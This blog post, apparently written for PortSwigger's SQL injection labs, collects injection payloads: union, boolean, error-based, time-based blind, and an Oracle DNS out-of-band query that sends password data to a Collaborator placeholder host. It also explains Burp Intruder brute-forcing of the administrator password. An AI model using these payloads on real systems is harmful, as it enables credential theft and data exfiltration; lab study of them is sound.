热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

burpsuite靶场SQL注入总结

各类数据库版本命令参照:https:portswigger.netweb-securitysql-injectioncheat-sheetburp靶场:

各类数据库版本命令参照:
https://portswigger.net/web-security/sql-injection/cheat-sheet
burp靶场:https://portswigger.net/web-security/all-labs



注入技巧篇

数字型注入

' union select 1,2,3

字符型注入

' union select NULL,NULL,NULL--

注入点只有一个,但也能同时查两个数据

' union select null,username||'~'||password from users--

注入技巧(布尔注入非oracle)
某个注入点,发现如下语句返回正确结果:

' and '1'='1

判断是否存在user表

'+and+(select 'a' from users limit 1)='a;

判断user表中是否存在username、password

'+and+(select 'a' from users where username='administrator' and length(password)>1)='a;

继续注入,稍微改写一下,然后将a值放入burpsuite中的intruder爆破即可(文章末尾补充了burp爆破方法):

'+and+(select substring(password,1,1) from users where username='administrator')='$a$;

注意,只有oracle的substr不一样
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
MySQL SUBSTRING(‘foobar’, 4, 2)

注入技巧(双单引号oracle数据库)

某个注入点,输入一个单引号’报错,两个单引号’'返回正确结果
那么注入则可以这么写:

' || (select '') || '

如果是oracle数据库,则

' || (select '' from dual) || '

继续判断oracle数据是否存在users表(其中rownum类似于limit)

' || (select '' from users where rownum=1) ||'

判断columns

' || (select username from users where rownum=1) ||'
' || (select password from users where rownum=1) ||'

构造如下布尔注入(其中to_char写法会报错,以此来实现判断)

&#39;&#43;||&#43;(select&#43;case&#43;when&#43;(1&#61;1)&#43;then&#43;to_char(1/0)&#43;else&#43;&#39;&#39;&#43;end&#43;from&#43;users&#43;where&#43;username&#61;&#39;administrator&#39;&#43;and&#43;length(password)<1)||&#39;

接下来就是burp跑字典&#xff0c;方法已经放到文章最后

&#39;&#43;||&#43;(select&#43;case&#43;when&#43;(1&#61;1)&#43;then&#43;to_char(1/0)&#43;else&#43;&#39;&#39;&#43;end&#43;from&#43;users&#43;where&#43;username&#61;&#39;administrator&#39;&#43;and&#43;substr(password,$A$,1)&#61;&#39;$a$&#39;)||&#39;

注入技巧&#xff08;盲注&#xff09;
某个注入点输入任何测试字符&#xff08;如单引号&#xff0c;两个单引号&#xff0c;and 1&#61;1&#xff09;都返回正确结果&#xff0c;不妨试下如下语句

&#39; || (select sleep(3))-- # MySQL
&#39;
|| (select pg_sleep(3))-- # PostgreSQL

盲注判断一波password的长度&#xff0c;burpsuite再来爆破一波

&#39;||(select case when (username&#61;&#39;administrator&#39; and length(password)<$1$) then pg_sleep(3) else pg_sleep(0) end from users)--

盲注爆破password&#xff08;文章末尾补充了盲注爆破方法&#xff09;

&#39;||(select case when (username&#61;&#39;administrator&#39; and substring(password,$A$,1)&#61;&#39;$B$&#39;) then pg_sleep(3) else pg_sleep(0) end from users)--

注入技巧&#xff08;无回显、无盲注&#xff09;
采用DNS Lookup注入&#xff0c;例如oracle的数据库注入验证方式
&#xff08;更多请查看https://portswigger.net/web-security/sql-injection/cheat-sheet&#xff09;

&#39; ||(SELECT extractvalue(xmltype(&#39;<?xml version&#61;"1.0" encoding&#61;"UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://&#39;||(SELECT YOUR-QUERY-HERE)||&#39;.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>&#39;),&#39;/l&#39;) FROM dual)--

burpsuite自带一个DNS lookup功能&#xff08;&#xff09;
在这里插入图片描述
回显的这部分就是密码
在这里插入图片描述

各类数据库查version

oracle数据库查询version

&#39;&#43;union&#43;select&#43;user,banner&#43;from&#43;v$version--

Microsoft&MySQL查询version

SELECT &#64;&#64;version

更多请查看&#xff1a;
https://portswigger.net/web-security/sql-injection/cheat-sheet

oracle数据库默认表

oracle 数据库不能通过select null,null这种方式&#xff0c;必须确定from&#xff0c;通过百度搜索oracle database statement可知&#xff0c;DUAL表示默认的表

&#39;&#43;union&#43;select&#43;&#39;a&#39;,&#39;b&#39;&#43;from&#43;DUAL--

oracle查询自带库&#xff0c;类似于mysql中的information_schema

&#39; union select table_name,null from all_tables--

oracle利用all_tab_columns查询字段

&#39; union select columns_name from all_tab_columns where table_name&#61;&#39;USERS_PRTMSH&#39;

利用all_tab_columns查询出的字段进行查询

&#39; union select USERNAME_GTGIHR||&#39;~&#39;||PASSWORD_SGMAIO,null from USERS_PRTMSH--

MySQL数据库


information_schema

利用information_schema表查询表

&#39; union select table_name,null from information.tables--

通过information_schema表查询出来的表来继续查询column

&#39; union select column_name,null from information_schema.columns where table_name&#61; users_dababase--



burpsuite爆破-布尔型

这里补充一下burp爆破的技巧&#xff0c;上面提到的布尔注入需要爆破两个点&#xff0c;
结构类似于&#xff1a;

for B in range(20):for A in range(30)

这种结构爆破可以选择Cluster bomb
在这里插入图片描述
并且给A点设置如下payload
在这里插入图片描述
给B点设置如下payload
在这里插入图片描述
爆破中…
在这里插入图片描述

burpsuite爆破-时间型

1.这里的语句如下

&#39;||(select case when (username&#61;&#39;administrator&#39; and substring(password,§A§,1)&#61;&#39;§B§&#39;) then pg_sleep(3) else pg_sleep(0) end from users)--

2.设置一下Cluster bomb&#xff0c;并设置两个爆破参数
在这里插入图片描述
3.payload中第一个参数为1-20的数字&#xff0c;所以设置如下&#xff1a;
在这里插入图片描述
4.第二个参数需要在数字与字母之间进行爆破&#xff0c;所以选择brute forcer&#xff1a;
在这里插入图片描述
5.这一点与其他注入不同&#xff0c;时间盲注需要将线程设置为1&#xff08;否则会让时间延迟判断有误差&#xff09;
在这里插入图片描述
在这里插入图片描述
6.运行即可&#xff0c;设置显示延时回显Response received&#xff08;因为是单线程&#xff0c;这里等待的时间很长&#xff09;
在这里插入图片描述
7.找出高延时的即可
在这里插入图片描述


推荐阅读
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • 本文介绍了Oracle存储过程的基本语法和写法示例,同时还介绍了已命名的系统异常的产生原因。 ... [详细]
  • MySQL中的MVVC多版本并发控制机制的应用及实现
    本文介绍了MySQL中MVCC的应用及实现机制。MVCC是一种提高并发性能的技术,通过对事务内读取的内存进行处理,避免写操作堵塞读操作的并发问题。与其他数据库系统的MVCC实现机制不尽相同,MySQL的MVCC是在undolog中实现的。通过undolog可以找回数据的历史版本,提供给用户读取或在回滚时覆盖数据页上的数据。MySQL的大多数事务型存储引擎都实现了MVCC,但各自的实现机制有所不同。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • Oracle分析函数first_value()和last_value()的用法及原理
    本文介绍了Oracle分析函数first_value()和last_value()的用法和原理,以及在查询销售记录日期和部门中的应用。通过示例和解释,详细说明了first_value()和last_value()的功能和不同之处。同时,对于last_value()的结果出现不一样的情况进行了解释,并提供了理解last_value()默认统计范围的方法。该文对于使用Oracle分析函数的开发人员和数据库管理员具有参考价值。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • 从Oracle安全移植到国产达梦数据库的DBA实践与攻略
    随着我国对信息安全和自主可控技术的重视,国产数据库在党政机关、军队和大型央企等行业中得到了快速应用。本文介绍了如何降低从Oracle到国产达梦数据库的技术门槛,保障用户现有业务系统投资。具体包括分析待移植系统、确定移植对象、数据迁移、PL/SQL移植、校验移植结果以及应用系统的测试和优化等步骤。同时提供了移植攻略,包括待移植系统分析和准备移植环境的方法。通过本文的实践与攻略,DBA可以更好地完成Oracle安全移植到国产达梦数据库的工作。 ... [详细]
author-avatar
hsc686
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有